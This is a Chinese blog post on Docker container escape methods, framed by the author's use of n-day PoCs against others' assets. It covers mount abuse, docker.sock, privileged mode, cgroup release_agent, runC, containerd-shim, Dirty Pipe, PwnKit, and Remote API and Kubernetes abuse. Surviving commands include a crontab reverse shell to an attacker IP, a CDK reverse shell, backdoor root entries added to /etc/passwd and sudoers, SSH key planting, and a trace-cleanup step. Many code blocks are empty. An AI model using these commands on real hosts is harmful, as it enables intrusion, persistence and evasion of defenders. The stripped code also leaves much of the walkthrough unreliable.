由一次docker逃逸而起的docker总结
Docker技法
前言
最近在学一些常见nday的深度利用,于是就用一些nday的poc在阿美的资产里面遨游一下,正当我高高兴兴在拿下shell时,不是哥们!这玩意不对啊,怎么默认在一个为/app的目录下,其他主机反弹shell后都在root等home目录下,为什么就他不一样。定睛一看,原来是个docker,于是就趁此机会,好好汇总一下docker逃逸的技法!!!那就先从docker基础开始看看吧。
Docker基础
先判断Dcoker环境
1 |
|
出现关键词“.dockerenv”,如下
查看Docker状态
1 |
|
列出所有docker环境
1 |
|
容器的详细信息
1 |
|
进入运行中的容器bash
1 |
|
查看Docker的版本(内部、宿主机通用)
1 |
|
Docker渗透
Docker是主机下的镜像容器,他的bash、sh,并不等同于主机。相当于物理机下的虚拟机。有时候部分web站点可能就是docker搭建的,对于主机而言看似安全,其实不然。docker中也可能含有对主机有害的信息、渗透点,所以对于docker,我就总结了两种渗透方式,不过在这之前我们还是来了解了解docker的一个机制。挂载!
挂载
在docker中,挂载是一个很重要的概念,它往往与我们在渗透利用中挂钩,挂载大概来说就是docker的目录与宿主机的目录之间形成的映射,docker修改目录的内容,其宿主机默认也会进行同样的操作。但是docker会多一层权限限制,不过如果权限得当,则可以通过docker查看、修改、写入、执行文件,从而改变宿主机的目录、文件。
挂载的细节可以查看:https://blog.csdn.net/wang2leee/article/details/134453249
常规挂载操作
1 |
|
上述proc、devpts这种没有指定目录的挂载一般是docker的默认挂载,对我们的渗透没什么帮助,可以忽略。不过如果是以/proc开始,我们就要仔细关注了,光挂载是不够的,我们还要看看其挂载之后的属性带来的阻碍和利用。
所以我们从渗透的角度,看看挂载结果后面括号中的属性
属性 | 作用 | 渗透利用示例 | 防御建议 |
---|---|---|---|
ro/rw | 控制文件系统只读或读写 | rw 权限下,可篡改 /etc/passwd ,添加后门账户: echo 'eviluser:x:0:0::/:/bin/sh' >> /etc/passwd |
关键目录(如 /etc )强制设为 ro |
nosuid | 禁用 SUID/SGID 权限 | 若未设置,可利用 SUID 程序提权(如 find / -perm -4000 查找可利用的 SUID 文件) |
所有用户可控挂载点强制启用 nosuid |
nodev | 禁止创建设备文件 | 若未设置,可创建磁盘设备文件并挂载宿主机磁盘: mknod /dev/sda1 b 8 1 && mount /dev/sda1 /mnt |
容器和非特权挂载点强制启用 nodev |
noexec | 禁止执行二进制文件 | 若未设置,可在可写目录(如 /tmp )上传并执行恶意程序: gcc exploit.c -o /tmp/exp && /tmp/exp |
临时目录和用户可控分区启用 noexec |
size= | 限制文件系统大小(如 tmpfs ) |
通过填满内存文件系统触发 DoS: dd if=/dev/zero of=/dev/shm/fill bs=1M count=65536 |
限制 size=64M 并监控使用情况 |
relatime | 仅在文件修改时更新访问时间 | 通过监控访问时间推断敏感操作(如读取密钥文件): stat -c %x /etc/shadow |
对敏感文件使用 noatime 完全禁用访问时间记录 |
mode= | 设置目录/文件权限 | 若权限过松(如 mode=777 ),可篡改配置文件: echo 'ALL ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers |
遵循最小权限原则(如 mode=755 目录、644 文件) |
inode64 | 允许 64 位 inode(用于大容量存储) | 结合文件系统漏洞绕过路径限制(如利用 XFS inode 溢出漏洞 CVE-2018-14634)https://github.com/luan0ap/cve-2018-14634 | 仅在内核 ≥4.16 时启用,并定期更新内核 |
gid= | 设置默认组 ID | 若组权限配置错误(如 gid=0 ),可通过组权限读取敏感文件: ls -l /etc/shadow → 发现组为 root 可读 |
避免将敏感目录的组 ID 设为特权组(如 gid=0 ) |
ptmxmode= | 设置伪终端设备权限 | 若权限过松(如 ptmxmode=666 ),可劫持终端会话: cat /dev/ptmx > /tmp/log |
设置为 ptmxmode=620 并限制访问组 |
lowerdir= | OverlayFS 的只读层路径 | 路径遍历漏洞(如 CVE-2021-41091): mkdir /merged && mount -t overlay overlay -o lowerdir=/etc,upperdir=/upper,workdir=/work /merged → 通过 /merged/passwd 读取宿主机文件 |
严格限制 lowerdir 路径,禁止包含敏感目录 |
nsdelegate | 启用 Cgroup 命名空间委托 | 通过创建子 Cgroup 绕过资源限制(如 CPU/内存): mkdir /sys/fs/cgroup/cpu/attacker && echo $$ > /sys/fs/cgroup/cpu/attacker/tasks |
仅在需要时启用,配合 memory_recursiveprot |
memory_recursiveprot | 防止子 Cgroup 绕过内存限制 | 若未设置,可在子 Cgroup 中禁用内存限制: echo 0 > /sys/fs/cgroup/memory/attacker/memory.limit_in_bytes |
Cgroup v2 强制启用此参数 |
基础了解完了,我们就步入正题——docker渗透!!!
1、信息泄露
当我们拿下了docker的shell之后,可能docker中的服务会有一些敏感信息泄露,例如nacos等服务其中可能就含有数据库的连接文件之类的。还有就是挂载了宿主的一些目录也可能存在一些泄露,如下面
1 |
|
检索到了下面的内容,我们进一步看一看
我最先关注点在/dev/sda
一般而言/dev/sda就是宿主机主要磁盘,其中会包含/dev/sda1、/dev/sda2、/dev/sda3等多个分区…,其中就挂载着根目录,所以我们的关注点大多在这个挂载之下,那就看看上面的/dev/sda2
挂载情况
看看这是什么?就不用多说了吧,hiahia!!!其次可以猜测,/dev/sda2可能是根目录,我们可以试试直接访问,不过试过不怎么行
紧接着我了解一下docker逃逸
2、Docker逃逸
在一些特定的情况下,可能存在从Docker逃逸到主机的方法,下面我们来一一介绍
Docker逃逸思路:
1、危险配置导致的逃逸
2、软件主键导致的逃逸
3、内核漏洞逃逸
4、网络与API攻击
5、特殊环境逃逸
一、危险配置导致的逃逸
1. Docker UNIX Socket 挂载
Docker UNIX Socket(/var/run/docker.sock
)是Docker守护进程(dockerd
)与客户端通信的接口,默认以root
权限运行。当容器挂载此Socket时,容器内的进程可通过Socket直接与宿主机Docker守护进程交互,继承守护进程的高权限,从而绕过容器隔离限制,实现对宿主机的控制。
前置:容器启动时挂载宿主 /var/run/docker.sock
1 |
|
利用:调用 Docker API 创造特权容器并挂载宿主文件系统
1 |
|
上面就是没有挂载。若输出显示 docker.sock
的属主为 root
且权限为 rw
(如 srw-rw---- 1 root docker
),则运行下面命令来逃逸
1 |
|
执行后即可以 root 身份访问宿主
/
目录。
2. 特权模式(–privileged)
通过赋予容器与宿主机相同的 root 权限,绕过命名空间隔离,使可能够直接挂载宿主机文件系统(如 -v /:/host
)并通过 chroot
切换根目录,从而在容器内获得宿主机 root shell 的完整控制权,实现容器到宿主机的权限突破。
前置:容器以特权模式启动
1 |
|
利用:挂载宿主磁盘并 chroot
1 |
|
这明显就没有以特权启动docker,而是以普通权限CapEff: 00000000a80425fb
,如果是以高权限用户,则使用一下命令即可逃逸
1 |
|
之后可直接修改 /etc/passwd、植入 SSH 公钥等。
接下来就是有些危险挂载
3.Procfs 危险挂载
1. Procfs 挂载原理
/proc
目录 是 Linux 内核提供的虚拟文件系统,用于实时暴露进程、硬件、内核参数等信息。如果容器开启时挂载了宿主机的/proc目录,我们则可以通过docker直接访问到主机的进程信息。
1、读取环境变量:目录/proc/1/environ
,其中含有关键信息,并且如果配置不当会可以用于提权,这里扔一个环境变量提权的方法汇总:https://www.anquanke.com/post/id/146799#h2-0)
2、内核漏洞利用:通过 /proc/sys/kernel
可写路径(如 core_pattern
)或符号链接(如 /proc/[PID]/root
),触发内核漏洞(如 Dirty Pipe)或直接访问宿主机文件系统。
3、敏感信息泄露:/proc/self/mountinfo
泄露容器运行时路径,/proc/1/environ
泄露宿主机环境变量。
2. Procfs 探测方法
2.1 基础检测
1 |
|
上面这种情况就是属于docker自身的进程,默认挂载,只有出现/proc on /xxx_proc
这种最前面时/proc时才是挂载了宿主机的进程
1 |
|
2.2 信息泄露验证
1 |
|
3. Procfs 利用方法
3.1 信息收集
1 |
|
3.2 Dirty Pipe 覆盖宿主机二进制
1 |
|
3.3 符号链接穿透
1 |
|
4.Cgroup 危险挂载
1. Cgroup 挂载原理
- 功能:Cgroup 是 Linux 资源控制机制,用于限制进程的 CPU、内存等资源。
- 风险点:
- release_agent 逃逸:若容器挂载可写的宿主机 Cgroup(如
-v /sys/fs/cgroup:/host_cgroup
),可配置release_agent
在宿主机执行任意命令。 - 资源耗尽攻击:滥用 Cgroup 子系统(如
memory
)触发内核 OOM Killer,干扰宿主机服务。 - 子系统漏洞:特定子系统(如
devices
)配置错误可能导致权限提升。
- release_agent 逃逸:若容器挂载可写的宿主机 Cgroup(如
2. Cgroup 探测方法
2.1 基础检测
1 |
|
这也是dockers自身的默认挂载,只有出现/sys/fs/cgroup on /xxx_cgroup
这种才是有漏洞的
1 |
|
2.2 release_agent 漏洞验证
1 |
|
3. Cgroup 利用方法
3.1 release_agent 逃逸
1 |
|
3.2 资源耗尽攻击
1 |
|
二、软件组件漏洞利用
1. runC 漏洞(CVE‑2019‑5736)
可通过容器内恶意进程利用 /proc/[runc-PID]/exe
路径访问宿主机上的 runc
二进制文件,以可写方式覆盖其内容,当宿主机管理员执行 docker exec
等操作时,触发被篡改的 runc
执行任意代码(如反弹 Shell 或修改系统文件),最终以宿主机 root
权限突破容器隔离实现逃逸
前置:宿主 Docker ≤18.09.2,runC 未修补
1 |
|
成功后 PoC 会在宿主机
/tmp
下生成反弹 Shell。
很遗憾这个docker的版本太高了
不过也试试,可以看到好像是成功了,但是还是监听状态,等一阵之后再去看,貌似确实没上东西,希望不大
无从下手啊,看下一个
2. docker cp 符号链接漏洞(CVE‑2019‑14271)
1. 漏洞核心机制
Docker 的 docker cp
命令在复制文件时,会调用辅助进程 docker-tar
,该进程以宿主机 root 权限运行且 未完全容器化(未隔离 seccomp
/cgroups
)。当 docker-tar
通过 chroot
进入容器文件系统时,会加载容器内的动态库(如 libnss_files.so
),而可替换这些库注入恶意代码。所以说总的来说也是一个监听,需要宿主机进行交互才能实现
2. 漏洞利用步骤
(1)前置条件
- Docker 版本:19.03.1以上以及18.09以下都不受影响
- 容器权限:普通权限容器即可,无需特权模式
大概思路:
1、找到libnss_files.so.2
的源码,一般选取nss
路径下的files-init.c
源文件。
2、在源码中加入链接时启动代码(run_at_link
),并定义要执行的恶意函数。
(2)注入恶意动态库
- 编译恶意 so 库:找到
libnss_files.so.2
的源码(https://ftp.gnu.org/gnu/glibc/glibc-2.31.tar.bz2下载glibc库,这里以`nss`路径下的`files-init.c`源文件为例),添加恶意代码。以下是一段示例恶意代码(实际操作中可根据测试需求修改):
1 |
|
使用 GCC 等编译器将修改后的源码编译成恶意的libnss_files.so.2
库。假设源码文件名为malicious_libnss.c
,在终端执行编译命令gcc -shared -fPIC -o libnss_files.so.2 malicious_libnss.c
。
准备恶意执行脚本(breakout 程序):编写一个简单的脚本作为恶意执行的程序,例如创建一个文件来证明漏洞利用成功。在测试主机上创建breakout
文件,内容如下:
1 |
|
赋予breakout
文件可执行权限,执行chmod +x breakout
。
将恶意文件放入容器:将编译好的恶意libnss_files.so.2
和breakout
文件复制到运行中的容器内。执行docker cp libnss_files.so.2 vulnerable:/lib/x86_64-linux-gnu/
和docker cp breakout vulnerable:/
,vulnerable
为容器名称。
当主机上执行docker cp
命令,从容器内复制文件到宿主机,触发漏洞。例如执行docker cp vulnerable:/etc/passwd /tmp/
,此时会触发恶意libnss_files.so.2
中的代码。执行完docker cp
命令后,检查测试主机上的/tmp/exploit_success.txt
文件是否存在。若存在,则说明漏洞复现成功,证明宿主机执行了容器内恶意代码。
漏洞复现全过程:https://blog.csdn.net/qq_41667409/article/details/121557358
很明显我这个docker版本肯定不存在该逃逸漏洞,主要证明就是,docker下的lib/x86_64-linux-gnu/都没有libnss_files.so.2文件
3. containerd‑shim 漏洞(CVE‑2020‑15257)
可在以 --net=host
模式启动的容器(需 root 权限)中,通过访问宿主机共享网络命名空间内的 containerd-shim
抽象 Unix 域套接字,调用其暴露的 API(如创建新容器或执行命令)并挂载宿主机根目录到容器路径,从而以宿主机 root
权限突破容器隔离并控制宿主机。
前置:
Docker 版本:containerd <1.3.9 或 <1.4.3(Docker 版本通常对应 19.03.6 及以下)
容器启动方式:需以 --net=host
模式运行,共享宿主机的网络命名空间,暴露 containerd-shim
的抽象 Unix 域套接字
1 |
|
2. 漏洞检测
确认容器网络模式
在容器内执行:
1
cat /proc/net/unix | grep 'containerd-shim' | grep '@'
若输出类似
1
@/containerd-shim/{sha256}.sock
的路径,则存在暴露的套接字
3. 利用工具(自动化工具 CDK)
上传 CDK 到容器
若容器支持文件上传,直接下载并赋予执行权限:
1
2wget https://github.com/cdk-team/CDK/releases/download/v1.5.0/cdk_linux_amd64 -O cdk
chmod +x cdk若容器无网络,可通过 nc 传输文件:
1
2
3
4
5# 宿主机监听端口(假设端口为 9999)
nc -lvp 9999 < cdk
# 容器内接收文件
cat < /dev/tcp/宿主机IP/9999 > cdk
chmod +x cdk
执行逃逸命令
反弹 Shell 到攻击机(需攻击机监听端口):
1
./cdk run shim-pwn reverse 攻击机IP 监听端口
直接执行宿主机命令
1
./cdk run shim-pwn "echo 'root::0:0::/:/bin/bash' >> /host_fs/etc/passwd" # 示例:修改宿主机密码文件
4. 手动利用(调用 containerd-shim API)
定位套接字路径
通过/proc/net/unix
获取containerd-shim
套接字路径(如@/containerd-shim/abc123.sock
)调用 API 创建恶意容器
使用工具(如grpcurl
)与套接字交互,创建挂载宿主机根目录的容器:1
2
3# 示例:通过创建新容器挂载宿主机根目录到容器内
grpcurl -unix /containerd-shim/abc123.sock containerd.runtime.v1.Shim/CreateTask \
<<< '{"id":"evil", "bundle":"/tmp", "rootfs": ["type=bind,source=/,destination=/host_fs,options=rbind"]}'成功挂载后,通过容器内的
/host_fs
目录可直接读写宿主机文件系统提权与持久化
写入 SSH 公钥
1
echo 'ssh-rsa AAAAB3NzaC1y...' >> /host_fs/root/.ssh/authorized_keys
修改 crontab
1
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'" > /host_fs/etc/crontab
三、内核漏洞逃逸
为什么使用内核提权,因为Dcoker和宿主机是共享一个内核的,所以内核提权可以在Docker中实现提权的,但此处的提权仅限于在Docker内部,难道就不能实现docker逃逸了吗?可以,但是需要在特殊情况下!!!以下两种情况:
场景 | 是否逃逸到宿主机 | 依赖条件 |
---|---|---|
仅容器内提权 | 否 | 漏洞仅覆盖容器内文件(如容器内 /etc/passwd ),未挂载宿主机目录或调用宿主机接口。 |
宿主机逃逸 | 是 | 需满足 任意一项: 1. 容器挂载宿主机敏感目录(如 -v /:/host ,挂载根目录)。 2. 容器拥有高危权限(如 CAP_DAC_READ_SEARCH )。 |
前置条件查看
查看挂载配置
1 |
|
危险挂载示例:
1 |
|
如果挂在了根目录,我们就可以把/host类比宿主机的根目录一样,例如:执行cat /host_fs/etc/passwd
,效果就等同于在宿主机上执行cat /etc/passwd
2. 检查容器的 Capabilities(高危权限)
1 |
|
输出解读:
CapEff: 0000003fffffffff
→ 拥有几乎所有权限(特权容器)。CapEff: 00000000a80425fb
→ 普通权限(安全配置)。
1. Dirty Pipe(CVE‑2022‑0847)
Dirty Pipe 是 Linux 内核 5.8 及以上版本中存在的一个本地提权漏洞,允许非特权用户通过覆写只读文件的页面缓存(如 /etc/passwd
)实现权限提升。其核心原理是管道缓冲区标志位 PIPE_BUF_FLAG_CAN_MERGE
未正确初始化,导致可可通过拼接(splice
)和写入(write
)操作覆盖目标文件内容
前置:Linux 内核 ≥5.8 且未打补丁
1 |
|
PoC 会将
runC
替换为可执行 Shell 的 ELF,执行docker exec
即获得宿主 Shell。
配合
挂载的利用就很轻松了,这里直接给出配合高危权限(CapEff: 0000003fffffffff)的利用过程
步骤 1:确认容器权限
1 |
|
- 输出示例:
CapEff: 0000003fffffffff
(包含CAP_DAC_READ_SEARCH
,16进制值中的第2位为1
)。
步骤 2:获取宿主机文件句柄
利用 open_by_handle_at
系统调用访问宿主机文件:
1 |
|
编译并运行:
1
2gcc get_fd.c -o get_fd
./get_fd
步骤 3:结合 Dirty Pipe 覆盖文件
使用 Dirty Pipe EXP(如 CVE-2022-0847 PoC)修改宿主机文件:
1 |
|
- 关键参数:
/proc/self/fd/<fd>
:通过文件描述符指向宿主机文件。1
:从文件第1字节后开始覆盖。evilroot::...
:添加无密码 root 用户。
步骤 4:验证逃逸
在宿主机执行:
1 |
|
后面的利用利用过程是差不多的,只是利用路径、内核提权的方式不同,所以依葫芦画瓢去做就行了,just do it!!!
2. Dirty COW(CVE‑2016‑5195)
通过触发 Linux 内核内存管理子系统中的写时复制(Copy-on-Write)竞态条件漏洞,在容器内以普通用户权限对宿主机挂载的只读文件(如 /etc/passwd
)发起并发内存映射操作(madvise
与 mprotect
),绕过文件权限检查,直接修改宿主机文件内容(如插入 evilroot::0:0::/:/bin/bash
),从而在宿主机层面注入特权用户,最终通过 su
或 SSH 认证获得宿主机 root 权限,穿透容器命名空间隔离。
前置:内核未修补 Dirty COW
1 |
|
将
/etc/passwd
中 root 密码字段清空,实现本地提权。
3. Polkit 提权(CVE‑2021‑4034 PwnKit)
可在容器内通过伪造环境变量(如 GCONV_PATH
)诱使宿主机上的 pkexec
工具加载恶意代码,利用其 SUID 权限以宿主机 root 身份执行任意命令(如反弹 Shell 或篡改文件),从而突破容器隔离控制宿主机。
前置:Polkit (pkexec) 未修补
1 |
|
利用 pkexec 漏洞获得 root,然后结合挂载进入宿主系统。
四、网络与 API 攻击
1. 未授权 Docker Remote API
未配置认证的 Docker Remote API(如 2375 端口)远程创建privileged特权容器,或挂载宿主机根目录(如 -v /:/mnt
),利用容器内进程对挂载目录的读写权限直接篡改宿主机敏感文件(如 /root/.ssh/authorized_keys
或 /etc/crontab
),从而植入后门或反弹 Shell,最终绕过容器隔离以宿主机 root 权限执行任意命令
前置:Docker daemon 暴露 2375 端口且无 TLS 认证
1 |
|
获得宿主机 root Shell。
2. Kubernetes API 滥用
Kubernetes错误配置,导致可以创建Pod,通过给 Kubernetes 集群中配置不当的 RBAC 权限或 Pod 安全策略(如允许创建特权容器或挂载宿主机目录),利用 API 创建挂载宿主机根目录(如 hostPath: /
)的恶意 Pod,在容器内直接读写宿主机文件系统(如篡改 /etc/crontab
或写入 SSH 密钥),从而以宿主机 root 权限执行任意命令,突破容器隔离控制集群节点。
前置:容器内可访问 /var/run/secrets/kubernetes.io/serviceaccount,需要用户登录认证,保证能使用Kubernetes API
1 |
|
2. 配置 kubectl
使用 ServiceAccount Token
如果容器内已安装 kubectl
,可直接配置临时访问:
1 |
|
3. 创建挂载宿主机目录的恶意 Pod
使用提供的 YAML 文件 escape-pod.yaml
(下面):
1 |
|
4. 进入恶意 Pod 并逃逸到宿主机
1 |
|
5. 清理痕迹(可选)
1 |
|
无 kubectl
工具时的替代方案(直接调用 API)
若容器内无 kubectl
,可使用 curl
直接操作 Kubernetes API:
1 |
|
利用 ServiceAccount Token 调用
kubectl
创建此 Pod。
五、特殊环境逃逸
1. macOS 容器逃逸
前置:Docker Desktop for Mac 使用 HyperKit
1 |
|
集成在多数通用 PoC 工具中。
2. Windows 容器逃逸
前置:利用 Hyper‑V 隔离或 Windows 内核漏洞
1 |
|
PoC 会利用指定 CVE 提权并脱离容器沙箱。
清理痕迹
1 |
|